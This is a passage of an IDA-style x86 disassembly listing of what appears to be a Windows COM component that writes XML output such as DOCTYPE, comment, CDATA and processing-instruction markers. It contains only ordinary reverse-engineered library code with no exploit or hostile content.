sub_69B76F2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F36	proc near		; DATA XREF: .text:69B16834o
		sub	ecx, 8
		jmp	short sub_69B76F53
sub_69B76F36	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F3B	proc near		; DATA XREF: .text:69B12BD0o
					; .text:69B12CC8o ...
		sub	ecx, 8
		jmp	sub_69B1B57D
sub_69B76F3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F43	proc near		; DATA XREF: .text:69B12BD4o
					; .text:69B12BF4o ...
		sub	ecx, 8
		jmp	nullsub_5
sub_69B76F43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F4B	proc near		; DATA XREF: .text:69B12BD8o
					; .text:69B12CD0o ...
		sub	ecx, 8
		jmp	sub_69B18278
sub_69B76F4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F53	proc near		; CODE XREF: sub_69B76F36+3j
					; DATA XREF: .text:69B167FCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		neg	ecx
		lea	eax, [esi+8]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		call	sub_69B186FA
		test	[esp+4+arg_0], 1
		jz	short loc_69B76F78
		push	esi
		call	sub_69B1829F


loc_69B76F78:				; CODE XREF: sub_69B76F53+1Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B76F53	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F7E	proc near		; DATA XREF: .text:69B16938o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+8]
		push	offset asc_69B270DC ; ">"
		call	sub_69B8A986
		cmp	byte ptr [esi+10h], 0
		jz	short loc_69B76F9D
		mov	ecx, [esi+8]
		pop	esi
		jmp	sub_69B8A709
; ---------------------------------------------------------------------------


loc_69B76F9D:				; CODE XREF: sub_69B76F7E+14j
		pop	esi
		retn
sub_69B76F7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F9F	proc near		; DATA XREF: .text:69B1693Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	dword ptr [eax+8]
		mov	edx, [ecx]
		push	dword ptr [eax+0Ch]
		call	dword ptr [edx+48h]
		retn	4
sub_69B76F9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76FB1	proc near		; DATA XREF: .text:69B16944o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx]
		push	1
		push	4
		call	dword ptr [eax+4Ch]
		mov	esi, eax
		push	dword ptr [esi+8]
		mov	eax, [edi]
		push	dword ptr [esi+0Ch]
		mov	ecx, edi
		call	dword ptr [eax+48h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		pop	edi
		pop	esi
		retn	4
sub_69B76FB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B76FDD	proc near		; DATA XREF: .text:69B16940o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B77024
		cmp	eax, 0Fh
		jnz	short loc_69B77003
		cmp	[esi+11h], bl
		jz	short loc_69B77013
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax]
		test	al, al
		jz	short loc_69B77013


loc_69B77003:				; CODE XREF: sub_69B76FDD+13j
		push	[ebp+arg_4]
		mov	ecx, [esi+8]
		push	[ebp+arg_0]
		call	sub_69B8A920
		jmp	short loc_69B77072
; ---------------------------------------------------------------------------


loc_69B77013:				; CODE XREF: sub_69B76FDD+18j
					; sub_69B76FDD+24j
		mov	ecx, [esi+8]
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B8A9BB
		jmp	short loc_69B77072
; ---------------------------------------------------------------------------


loc_69B77024:				; CODE XREF: sub_69B76FDD+Ej
		cmp	[esi+11h], bl
		jnz	short loc_69B7702F
		mov	eax, [esi+8]
		mov	[eax+0Ch], ebx


loc_69B7702F:				; CODE XREF: sub_69B76FDD+4Aj
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax]
		test	al, al
		mov	ecx, [esi+8]
		jnz	short loc_69B7704D
		push	1
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B8A9BB
		jmp	short loc_69B77058
; ---------------------------------------------------------------------------


loc_69B7704D:				; CODE XREF: sub_69B76FDD+5Fj
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B8A920


loc_69B77058:				; CODE XREF: sub_69B76FDD+6Ej
		cmp	[esi+11h], bl
		jz	short loc_69B77072
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	2
		call	dword ptr [eax]
		test	al, al
		jz	short loc_69B77072
		mov	ecx, [esi+8]
		call	sub_69B8A709


loc_69B77072:				; CODE XREF: sub_69B76FDD+34j
					; sub_69B76FDD+45j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B76FDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77078	proc near		; DATA XREF: .text:69B16904o
					; .text:69B1D59Co
		sub	ecx, 8
		jmp	sub_69B1D5D8
sub_69B77078	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77080	proc near		; DATA XREF: .text:69B1692Co
		sub	ecx, 8
		jmp	sub_69B76F2E
sub_69B77080	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77088	proc near		; CODE XREF: sub_69B770D8+46p
					; sub_69B770D8+82p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		mov	eax, [eax+8]
		mov	esi, [eax+14h]
		jz	short loc_69B770C1
		mov	eax, [ecx]
		push	ebx
		mov	ebx, [edi+10h]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8A970
		cmp	esi, dword_69B95A18
		pop	ebx
		jz	short loc_69B770D3
		mov	ecx, [edi+10h]
		push	3Ah
		call	sub_69B8A903


loc_69B770C1:				; CODE XREF: sub_69B77088+13j
		mov	eax, [esi]
		mov	edi, [edi+10h]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B8A970


loc_69B770D3:				; CODE XREF: sub_69B77088+2Dj
		pop	edi
		pop	esi
		retn	4
sub_69B77088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B770D8	proc near		; DATA XREF: .text:69B16930o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	edi, 6
		mov	esi, ecx
		jg	short loc_69B77138
		jz	short loc_69B77131
		mov	eax, edi
		sub	eax, 0
		jz	short loc_69B7710E
		dec	eax
		dec	eax
		jz	short loc_69B77107
		dec	eax
		dec	eax
		jz	short loc_69B77100
		dec	eax
		jz	short loc_69B77147
		jmp	loc_69B771AA
; ---------------------------------------------------------------------------


loc_69B77100:				; CODE XREF: sub_69B770D8+1Ej
		push	offset aDoctype	; "<!DOCTYPE "
		jmp	short loc_69B77185
; ---------------------------------------------------------------------------


loc_69B77107:				; CODE XREF: sub_69B770D8+1Aj
		push	offset asc_69B2A520 ; "<!--"
		jmp	short loc_69B77185
; ---------------------------------------------------------------------------


loc_69B7710E:				; CODE XREF: sub_69B770D8+16j
		mov	ecx, [esi+8]
		push	3Ch
		call	sub_69B8A903
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		call	sub_69B77088
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]
		mov	[esi+10h], al
		jmp	short loc_69B771A7
; ---------------------------------------------------------------------------


loc_69B77131:				; CODE XREF: sub_69B770D8+Fj
		push	offset aCdata_0	; "<![CDATA["
		jmp	short loc_69B77185
; ---------------------------------------------------------------------------


loc_69B77138:				; CODE XREF: sub_69B770D8+Dj
		cmp	edi, 0Bh
		jz	short loc_69B7718F
		cmp	edi, 0Fh
		jz	short loc_69B7716B
		cmp	edi, 12h
		jnz	short loc_69B771AA


loc_69B77147:				; CODE XREF: sub_69B770D8+21j
		mov	ecx, [esi+8]
		push	offset a?_0	; "<?"
		call	sub_69B8A986
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		call	sub_69B77088
		mov	ecx, [esi+8]
		push	20h
		call	sub_69B8A903
		jmp	short loc_69B771A7
; ---------------------------------------------------------------------------


loc_69B7716B:				; CODE XREF: sub_69B770D8+68j
		mov	ecx, [esi+8]
		push	20h
		call	sub_69B8A903
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		call	sub_69B77088
		push	offset asc_69B771B4 ; "=\""


loc_69B77185:				; CODE XREF: sub_69B770D8+2Dj
					; sub_69B770D8+34j ...
		mov	ecx, [esi+8]
		call	sub_69B8A986
		jmp	short loc_69B771A7
; ---------------------------------------------------------------------------


loc_69B7718F:				; CODE XREF: sub_69B770D8+63j
		mov	ecx, [esi+8]
		push	offset dword_69B771B0 ;	lpString
		call	sub_69B8A986
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		call	sub_69B77088


loc_69B771A7:				; CODE XREF: sub_69B770D8+57j
					; sub_69B770D8+91j ...
		mov	[esi+0Ch], edi


loc_69B771AA:				; CODE XREF: sub_69B770D8+23j
					; sub_69B770D8+6Dj
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_69B770D8	endp

; ---------------------------------------------------------------------------
; const	WCHAR dword_69B771B0
dword_69B771B0	dd 26h		; const	WCHAR asc_69B771B4
asc_69B771B4:				; DATA XREF: sub_69B770D8+A8o
		unicode	0, <=">,0
		align 4
; const	WCHAR a?_0
a?_0:					; DATA XREF: sub_69B770D8+72o
		dw 3Ch
		unicode	0, <?>,0
		align 4
aCdata_0:				; DATA XREF: sub_69B770D8:loc_69B77131o
		dw 3Ch
		unicode	0, <![CDATA[>,0
aDoctype:				; DATA XREF: sub_69B770D8:loc_69B77100o
		dw 3Ch
		unicode	0, <!DOCTYPE >,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B771EE	proc near		; DATA XREF: .text:69B16934o

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	2
		call	dword ptr [eax]
		mov	[ebp+var_1], al
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		cmp	eax, 6
		jg	short loc_69B77263
		jz	short loc_69B7725C
		sub	eax, ebx
		jz	short loc_69B77231
		dec	eax
		dec	eax
		jz	short loc_69B7722A
		dec	eax
		jz	short loc_69B77271
		dec	eax
		jz	short loc_69B77255


loc_69B7721C:				; CODE XREF: sub_69B771EE+81j
		dec	eax
		jnz	loc_69B772A4
		push	offset a?	; "?>"
		jmp	short loc_69B7728C
; ---------------------------------------------------------------------------


loc_69B7722A:				; CODE XREF: sub_69B771EE+26j
		push	offset asc_69B296A4 ; "-->"
		jmp	short loc_69B7728C
; ---------------------------------------------------------------------------


loc_69B77231:				; CODE XREF: sub_69B771EE+22j
		cmp	[ebp+arg_8], bl
		mov	ecx, [esi+8]
		jnz	short loc_69B77240
		push	offset asc_69B772B4 ; "	/>"
		jmp	short loc_69B7728F
; ---------------------------------------------------------------------------


loc_69B77240:				; CODE XREF: sub_69B771EE+49j
		push	offset asc_69B2A52C ; "</"
		call	sub_69B8A986
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		call	sub_69B77088


loc_69B77255:				; CODE XREF: sub_69B771EE+2Cj
		push	offset asc_69B270DC ; ">"
		jmp	short loc_69B7728C
; ---------------------------------------------------------------------------


loc_69B7725C:				; CODE XREF: sub_69B771EE+1Ej
		push	offset asc_69B772AC ; "]]>"
		jmp	short loc_69B7728C
; ---------------------------------------------------------------------------


loc_69B77263:				; CODE XREF: sub_69B771EE+1Cj
		sub	eax, 0Bh
		jz	short loc_69B77287
		sub	eax, 4
		jz	short loc_69B77278
		dec	eax
		dec	eax
		jnz	short loc_69B7721C


loc_69B77271:				; CODE XREF: sub_69B771EE+29j
		cmp	[esi+0Ch], ebx
		jz	short loc_69B77294
		jmp	short loc_69B772A4
; ---------------------------------------------------------------------------


loc_69B77278:				; CODE XREF: sub_69B771EE+7Dj
		mov	ecx, [esi+8]
		push	offset asc_69B270E4 ; "\""
		call	sub_69B8A986
		jmp	short loc_69B772A1
; ---------------------------------------------------------------------------


loc_69B77287:				; CODE XREF: sub_69B771EE+78j
		push	offset dword_69B295AC ;	lpString


loc_69B7728C:				; CODE XREF: sub_69B771EE+3Aj
					; sub_69B771EE+41j ...
		mov	ecx, [esi+8]


loc_69B7728F:				; CODE XREF: sub_69B771EE+50j
		call	sub_69B8A986


loc_69B77294:				; CODE XREF: sub_69B771EE+86j
		cmp	[ebp+var_1], bl
		jz	short loc_69B772A1
		mov	ecx, [esi+8]
		call	sub_69B8A709


loc_69B772A1:				; CODE XREF: sub_69B771EE+97j
					; sub_69B771EE+A9j
		mov	[esi+0Ch], ebx


loc_69B772A4:				; CODE XREF: sub_69B771EE+2Fj
					; sub_69B771EE+88j
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B771EE	endp

; ---------------------------------------------------------------------------
		align 4
asc_69B772AC:				; DATA XREF: sub_69B771EE:loc_69B7725Co
					; .data:69B99310o
		unicode	0, <]]>
		dw 3Eh
		unicode	0, <>,0
asc_69B772B4:				; DATA XREF: sub_69B771EE+4Bo
		unicode	0, < />
		dw 3Eh
		unicode	0, <>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B772BC	proc near		; DATA XREF: .text:69B16948o
		push	esi
		lea	esi, [ecx+8]
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B772D3
		call	sub_69B8A828
		push	0
		push	esi
		call	sub_69B17320


loc_69B772D3:				; CODE XREF: sub_69B772BC+8j
		pop	esi
		retn
sub_69B772BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B772D5	proc near		; CODE XREF: sub_69B760B0+85p
					; sub_69B760B0+92p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

; FUNCTION CHUNK AT 69B1687C SIZE 00000044 BYTES

		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B772E7
		mov	ecx, eax
		jmp	loc_69B1687C
; ---------------------------------------------------------------------------


loc_69B772E7:				; CODE XREF: sub_69B772D5+9j
		xor	eax, eax
		retn	0Ch
sub_69B772D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B772EC	proc near		; DATA XREF: .text:69B22080o

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		mov	ebx, ecx
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_69B77309
		mov	eax, 80004005h
		jmp	short loc_69B77370
; ---------------------------------------------------------------------------


loc_69B77309:				; CODE XREF: sub_69B772EC+14j
		push	esi
		push	ebx
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_69B1B406
		mov	eax, [ebp+arg_C]
		and	[ebp+var_4], 0
		test	eax, eax
		jnz	short loc_69B77326
		mov	esi, 80070057h
		jmp	short loc_69B7735C
; ---------------------------------------------------------------------------


loc_69B77326:				; CODE XREF: sub_69B772EC+31j
		and	dword ptr [eax], 0
		mov	esi, [ebp+arg_8]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2A534
		xor	edx, edx
		repe cmpsd
		pop	edi
		jnz	short loc_69B77345
		push	ebx
		push	eax
		call	sub_69B17320
		jmp	short loc_69B77359
; ---------------------------------------------------------------------------


loc_69B77345:				; CODE XREF: sub_69B772EC+4Ej
		push	eax
		push	[ebp+arg_8]
		mov	ecx, ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B1C12C
		mov	[ebp+var_4], eax


loc_69B77359:				; CODE XREF: sub_69B772EC+57j
		mov	esi, [ebp+var_4]


loc_69B7735C:				; CODE XREF: sub_69B772EC+38j
		lea	ecx, [ebp+var_14]
		call	sub_69B1976C
		push	[ebp+var_8]
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B77370:				; CODE XREF: sub_69B772EC+1Bj
		pop	ebx
		leave
		retn	10h
sub_69B772EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77375	proc near		; DATA XREF: .text:69B220B4o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	[esi+40h], edi
		jz	short loc_69B773B9
		push	edi
		call	sub_69B3EF04
		add	esi, 0F0h
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B773B9
		cmp	edi, 4
		jnz	short loc_69B773B4
		call	sub_69B78A58
		mov	ecx, [esi]
		call	sub_69B7846D
		test	eax, eax
		jz	short loc_69B773B9
		push	0
		mov	ecx, eax
		call	sub_69B79AE9
		jmp	short loc_69B773B9
; ---------------------------------------------------------------------------


loc_69B773B4:				; CODE XREF: sub_69B77375+22j
		call	sub_69B78479


loc_69B773B9:				; CODE XREF: sub_69B77375+Bj
					; sub_69B77375+1Dj ...
		pop	edi
		pop	esi
		retn	4
sub_69B77375	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B773BE	proc near		; DATA XREF: .text:69B220B8o
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+8Ch], 0
		jz	short loc_69B7740F
		mov	ecx, [esi+0F0h]
		test	ecx, ecx
		jz	short loc_69B7740F
		push	edi
		call	sub_69B7846D
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B3D6C4
		test	eax, eax
		jz	short loc_69B77403
		test	edi, edi
		jnz	short loc_69B77407
		mov	ecx, [esi+0F0h]
		call	sub_69B78A58
		mov	ecx, [esi+0F0h]
		call	sub_69B7846D
		mov	edi, eax


loc_69B77403:				; CODE XREF: sub_69B773BE+27j
		test	edi, edi
		jz	short loc_69B7740E


loc_69B77407:				; CODE XREF: sub_69B773BE+2Bj
		mov	ecx, edi
		call	sub_69B79588


loc_69B7740E:				; CODE XREF: sub_69B773BE+47j
		pop	edi


loc_69B7740F:				; CODE XREF: sub_69B773BE+Aj
					; sub_69B773BE+14j
		mov	ecx, esi
		pop	esi
		jmp	sub_69B3EDFC
sub_69B773BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77417	proc near		; DATA XREF: .text:69B22090o
		push	esi
		mov	esi, ecx
		call	nullsub_5
		mov	ecx, [esi+0F0h]
		test	ecx, ecx
		pop	esi
		jnz	sub_69B78A1F
		retn
sub_69B77417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7742F	proc near		; DATA XREF: .text:69B220BCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0F4h]
		test	eax, eax
		jz	short loc_69B7746A
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jz	short loc_69B7746A
		mov	edx, [ecx+8]
		shr	edx, 0Ah
		test	dl, 1
		jnz	short loc_69B7746A
		cmp	[ebp+arg_4], 1
		jz	short loc_69B7746A
		push	[ebp+arg_10]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [edx+0Ch]


loc_69B7746A:				; CODE XREF: sub_69B7742F+Ej
					; sub_69B7742F+15j ...
		cmp	[ebp+arg_4], 2
		jnz	short loc_69B77477
		mov	byte ptr [esi+0B2h], 1


loc_69B77477:				; CODE XREF: sub_69B7742F+3Fj
		pop	esi
		pop	ebp
		retn	14h
sub_69B7742F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7747C	proc near		; DATA XREF: .text:69B22004o
		sub	ecx, 24h
		jmp	sub_69B778BE
sub_69B7747C	endp

; ---------------------------------------------------------------------------


loc_69B77484:				; DATA XREF: .text:69B21FBCo
		sub	ecx, 28h
		jmp	sub_69B778BE

; =============== S U B	R O U T	I N E =======================================



sub_69B7748C	proc near		; DATA XREF: .text:69B21F7Co

arg_0		= byte ptr  4

		sub	ecx, 2Ch
		jmp	sub_69B778BE
sub_69B7748C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77494	proc near		; CODE XREF: sub_69B7788E+3j
					; sub_69B77896+3j ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0F0h]
		push	eax
		call	sub_69B2DEB2
		push	0
		lea	eax, [esi+0F4h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B3EF5A
sub_69B77494	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B774BB	proc near		; CODE XREF: sub_69B778FC+9p
					; sub_69B780C6+14p ...

arg_0		= dword	ptr  4

		lea	eax, [ecx+0F4h]
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jnz	short locret_69B774D1
		push	0
		push	eax
		call	sub_69B17320

locret_69B774D1:			; CODE XREF: sub_69B774BB+Cj
		retn	4
sub_69B774BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B774D4	proc near		; DATA XREF: .text:69B143C4o
		push	28h
		push	offset dword_69B77590
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jnz	short loc_69B774F9
		mov	eax, 80004005h
		jmp	loc_69B77587
; ---------------------------------------------------------------------------


loc_69B774F9:				; CODE XREF: sub_69B774D4+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	ecx, [ebp+0Ch]
		test	ecx, ecx
		jnz	short loc_69B7752B
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B77587
; ---------------------------------------------------------------------------


loc_69B7752B:				; CODE XREF: sub_69B774D4+3Fj
		and	dword ptr [ecx], 0
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	eax, [eax+28h]
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	edx, [eax]
		push	ecx
		push	offset stru_69B25E34
		push	eax
		call	dword ptr [edx]
		jmp	short loc_69B7756C
; ---------------------------------------------------------------------------


loc_69B7754E:				; DATA XREF: .text:69B77594o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B77557:				; DATA XREF: .text:69B77598o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7756C:				; CODE XREF: sub_69B774D4+78j
		mov	[ebp-38h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B77587:				; CODE XREF: sub_69B774D4+20j
					; sub_69B774D4+55j
		call	sub_69B1853C
		retn	8
sub_69B774D4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B77590	dd 0FFFFFFFFh			dd offset loc_69B7754E
		dd offset loc_69B77557

; =============== S U B	R O U T	I N E =======================================



sub_69B7759C	proc near		; DATA XREF: .text:69B143C8o
		push	28h
		push	offset dword_69B77670
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B775C1
		mov	eax, 80004005h
		jmp	loc_69B77657
; ---------------------------------------------------------------------------


loc_69B775C1:				; CODE XREF: sub_69B7759C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		mov	[ebp-2Ch], edi
		push	offset dword_69B77660
		push	dword ptr [ebp+0Ch]
		call	sub_69B2F4B8
		mov	[ebp-30h], eax
		cmp	eax, edi
		jz	short loc_69B77615
		push	offset dword_69B2A534
		push	eax
		call	sub_69B2F4B8
		mov	[ebp-2Ch], eax
		cmp	eax, edi
		jz	short loc_69B77615
		mov	ecx, [esi+18h]
		mov	[ebp-34h], ecx
		push	eax
		call	sub_69B78DF4
		mov	[ebp-38h], edi
		jmp	short loc_69B7763F
; ---------------------------------------------------------------------------


loc_69B77615:				; CODE XREF: sub_69B7759C+54j
					; sub_69B7759C+66j
		mov	dword ptr [ebp-38h], 80070057h
		jmp	short loc_69B7763F
; ---------------------------------------------------------------------------


loc_69B7761E:				; DATA XREF: .text:69B77674o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B77627:				; DATA XREF: .text:69B77678o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax


loc_69B7763F:				; CODE XREF: sub_69B7759C+77j
					; sub_69B7759C+80j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B77657:				; CODE XREF: sub_69B7759C+20j
		call	sub_69B1853C
		retn	8
sub_69B7759C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B77660	dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8hdword_69B77670	dd 0FFFFFFFFh			dd offset loc_69B7761E
		dd offset loc_69B77627

; =============== S U B	R O U T	I N E =======================================



sub_69B7767C	proc near		; DATA XREF: .text:69B143CCo
		push	1Ch
		push	offset dword_69B77710
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7769E
		mov	eax, 80004005h
		jmp	short loc_69B77704
; ---------------------------------------------------------------------------


loc_69B7769E:				; CODE XREF: sub_69B7767C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-2Ch], esi
		xor	eax, eax
		mov	al, [esi+40h]
		and	eax, 1
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		jmp	short loc_69B776ED
; ---------------------------------------------------------------------------


loc_69B776CD:				; DATA XREF: .text:69B77714o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B776D6:				; DATA XREF: .text:69B77718o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B776ED:				; CODE XREF: sub_69B7767C+4Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B77704:				; CODE XREF: sub_69B7767C+20j
		call	sub_69B1853C
		retn	8
sub_69B7767C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B77710	dd 0FFFFFFFFh			dd offset loc_69B776CD
		dd offset loc_69B776D6

; =============== S U B	R O U T	I N E =======================================



sub_69B7771C	proc near		; DATA XREF: .text:69B143D0o
		push	20h
		push	offset dword_69B777B8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7773E
		mov	eax, 80004005h
		jmp	short loc_69B777AB
; ---------------------------------------------------------------------------


loc_69B7773E:				; CODE XREF: sub_69B7771C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		cmp	[ebp+0Ch], edi
		setnz	cl
		xor	ecx, [eax+40h]
		and	ecx, 1
		xor	[eax+40h], ecx
		mov	[ebp-30h], edi
		jmp	short loc_69B77793
; ---------------------------------------------------------------------------


loc_69B77772:				; DATA XREF: .text:69B777BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7777B:				; DATA XREF: .text:69B777C0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B77793:				; CODE XREF: sub_69B7771C+54j
		or	dword ptr [ebp-4], 0FFFFFFFFh
